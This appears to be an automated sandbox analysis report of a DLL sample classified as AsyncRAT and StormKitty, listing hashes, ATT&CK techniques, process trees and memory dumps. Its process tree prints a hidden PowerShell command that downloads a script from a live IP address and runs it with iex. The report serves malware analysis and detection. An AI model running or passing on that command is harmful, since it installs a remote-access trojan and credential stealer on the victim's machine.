asyncrat | 8a1b3e2cd6e7eeebf0154db95342287a17334200fd71249e5daed74becc344b3

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-01-2025 01:08

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General

Target

9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68.dll
Size

88KB
MD5

33ae2b9c3e710254fe2e2ce35ff8a7c8
SHA1

109e32187254b27e04ef18bbe1b48fad42bca841
SHA256

9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68
SHA512

2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599
SSDEEP

1536:L02ifPleVQ8zxlaSRslYzy26igsbuNdn4fuH1e6tsWy4cdlETcgS/iG:5iV4Qaxltsl/ggsCN3oBlQcgkiG

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/1424-40-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4640	powershell.exe
16	4640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4640	powershell.exe

Downloads MZ/PE file
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4640 set thread context of 1424	4640	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4640	powershell.exe
4640	powershell.exe
4640	powershell.exe
4640	powershell.exe
4640	powershell.exe
4640	powershell.exe
1424	RegAsm.exe
1424	RegAsm.exe
1424	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	1424	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1424	RegAsm.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 392 wrote to memory of 3472	392	regsvr32.exe	83
PID 392 wrote to memory of 3472	392	regsvr32.exe	83
PID 392 wrote to memory of 3472	392	regsvr32.exe	83
PID 3472 wrote to memory of 3224	3472	regsvr32.exe	84
PID 3472 wrote to memory of 3224	3472	regsvr32.exe	84
PID 3472 wrote to memory of 3224	3472	regsvr32.exe	84
PID 3224 wrote to memory of 4640	3224	cmd.exe	86
PID 3224 wrote to memory of 4640	3224	cmd.exe	86
PID 3224 wrote to memory of 4640	3224	cmd.exe	86
PID 4640 wrote to memory of 4300	4640	powershell.exe	87
PID 4640 wrote to memory of 4300	4640	powershell.exe	87
PID 4640 wrote to memory of 4300	4640	powershell.exe	87
PID 4300 wrote to memory of 1272	4300	csc.exe	88
PID 4300 wrote to memory of 1272	4300	csc.exe	88
PID 4300 wrote to memory of 1272	4300	csc.exe	88
PID 4640 wrote to memory of 1176	4640	powershell.exe	89
PID 4640 wrote to memory of 1176	4640	powershell.exe	89
PID 4640 wrote to memory of 1176	4640	powershell.exe	89
PID 4640 wrote to memory of 1872	4640	powershell.exe	90
PID 4640 wrote to memory of 1872	4640	powershell.exe	90
PID 4640 wrote to memory of 1872	4640	powershell.exe	90
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91
PID 4640 wrote to memory of 1424	4640	powershell.exe	91

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:392
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3224
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\roinylul\roinylul.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4300
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9848.tmp" "c:\Users\Admin\AppData\Local\Temp\roinylul\CSC4057B3816DAB43138C8A71EC24F58DAF.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1272
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1176
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1872
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES9848.tmp

Filesize
1KB

MD5
436815586d37e623d81105889acd2d9c

SHA1
325c549c4660499e4fc7626e25fc5626b0f62ee4

SHA256
0a2b061bc3cf7774b083f1c1b010b1a59ab84be6d1b5160b893c352204119a37

SHA512
7f025f846326e2930c810f21e822b514860c25a04236d1687d14c5fa76ae665e2c2f097bcc8f564fa05f04a1d418df720567b31121d7eea240bac2ab5319aae4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jr0o3mvm.54h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\roinylul\roinylul.dll

Filesize
9KB

MD5
317fe0489beb05e99ca76d7ab8f602a4

SHA1
2531803b719e927ebe43805c263c86a71fe69259

SHA256
754e05253d7e8749073c63993508154cfad57b1d61358df6230fbb2230e0418d

SHA512
b6e6bff766e94fae0b61385d30731617967d5cebdb78dabe4fff4ee0cc475ee10728ffdf957349445961b1ac641089a67ba146615fab7cd162f4681a4516d008

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\roinylul\CSC4057B3816DAB43138C8A71EC24F58DAF.TMP

Filesize
652B

MD5
bc71b004ff6a6ee90a1b96f3366c79c1

SHA1
7e957569bd83900b9bacec6ad0e1653586b83a9f

SHA256
f52c2bf30392c2656bd0bb7659c7ce3f8226bb95ff1c66169da03076c229aaf5

SHA512
51070c920c5ddb159e8808667cc9c9c6343773f8eb95e7a000b7f73f43d15234b632e460af7537d037701274d5e78e888889c7530b6d355050d128e69303dbfe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\roinylul\roinylul.0.cs

Filesize
10KB

MD5
3fa79decff8805745cea8116d9bb2643

SHA1
92343c5fa2c768b964ae3a4e9136e5d7193e8558

SHA256
e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

SHA512
5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\roinylul\roinylul.cmdline

Filesize
204B

MD5
8bf6a75fee2ec57dbc471c6ecf89ce64

SHA1
32235d825f6928cd549e78011fc0a757be2416b8

SHA256
ff9df7f263ba8d6c0cc120406084b5c8ed9dbc23b74861bd453e25d348f01b44

SHA512
6bd6ae91d33633a01e20f91492800d40ea5bef413bd47920f1a9296433a6def225a7658138ec5551110ee2decfc5611ee9c93b2976050f555cafd8b9ebe98745

Download Submit
memory/1424-50-0x0000000006A50000-0x0000000006DA4000-memory.dmp

Filesize
3.3MB

Download
memory/1424-49-0x0000000006600000-0x000000000669C000-memory.dmp

Filesize
624KB

Download
memory/1424-46-0x0000000005550000-0x000000000555A000-memory.dmp

Filesize
40KB

Download
memory/1424-45-0x0000000005590000-0x0000000005622000-memory.dmp

Filesize
584KB

Download
memory/1424-43-0x0000000005690000-0x0000000005C34000-memory.dmp

Filesize
5.6MB

Download
memory/1424-40-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4640-22-0x00000000053F0000-0x00000000053FE000-memory.dmp

Filesize
56KB

Download
memory/4640-37-0x0000000074AAE000-0x0000000074AAF000-memory.dmp

Filesize
4KB

Download
memory/4640-0-0x0000000074AAE000-0x0000000074AAF000-memory.dmp

Filesize
4KB

Download
memory/4640-21-0x0000000007780000-0x000000000779A000-memory.dmp

Filesize
104KB

Download
memory/4640-19-0x0000000006710000-0x000000000675C000-memory.dmp

Filesize
304KB

Download
memory/4640-18-0x00000000066C0000-0x00000000066DE000-memory.dmp

Filesize
120KB

Download
memory/4640-17-0x0000000006110000-0x0000000006464000-memory.dmp

Filesize
3.3MB

Download
memory/4640-7-0x00000000060A0000-0x0000000006106000-memory.dmp

Filesize
408KB

Download
memory/4640-35-0x0000000005400000-0x0000000005408000-memory.dmp

Filesize
32KB

Download
memory/4640-20-0x0000000007DD0000-0x000000000844A000-memory.dmp

Filesize
6.5MB

Download
memory/4640-38-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4640-39-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4640-6-0x0000000005E40000-0x0000000005EA6000-memory.dmp

Filesize
408KB

Download
memory/4640-5-0x0000000005710000-0x0000000005732000-memory.dmp

Filesize
136KB

Download
memory/4640-44-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4640-4-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4640-2-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4640-3-0x00000000057A0000-0x0000000005DC8000-memory.dmp

Filesize
6.2MB

Download
memory/4640-1-0x0000000005130000-0x0000000005166000-memory.dmp

Filesize
216KB

Download